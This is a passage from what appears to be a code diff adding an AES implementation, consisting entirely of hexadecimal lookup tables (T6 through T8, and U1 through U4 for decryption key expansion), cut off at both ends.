0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] + T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] + T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] + + # Transformations for decryption key expansion + U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] + U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] + U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] + U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 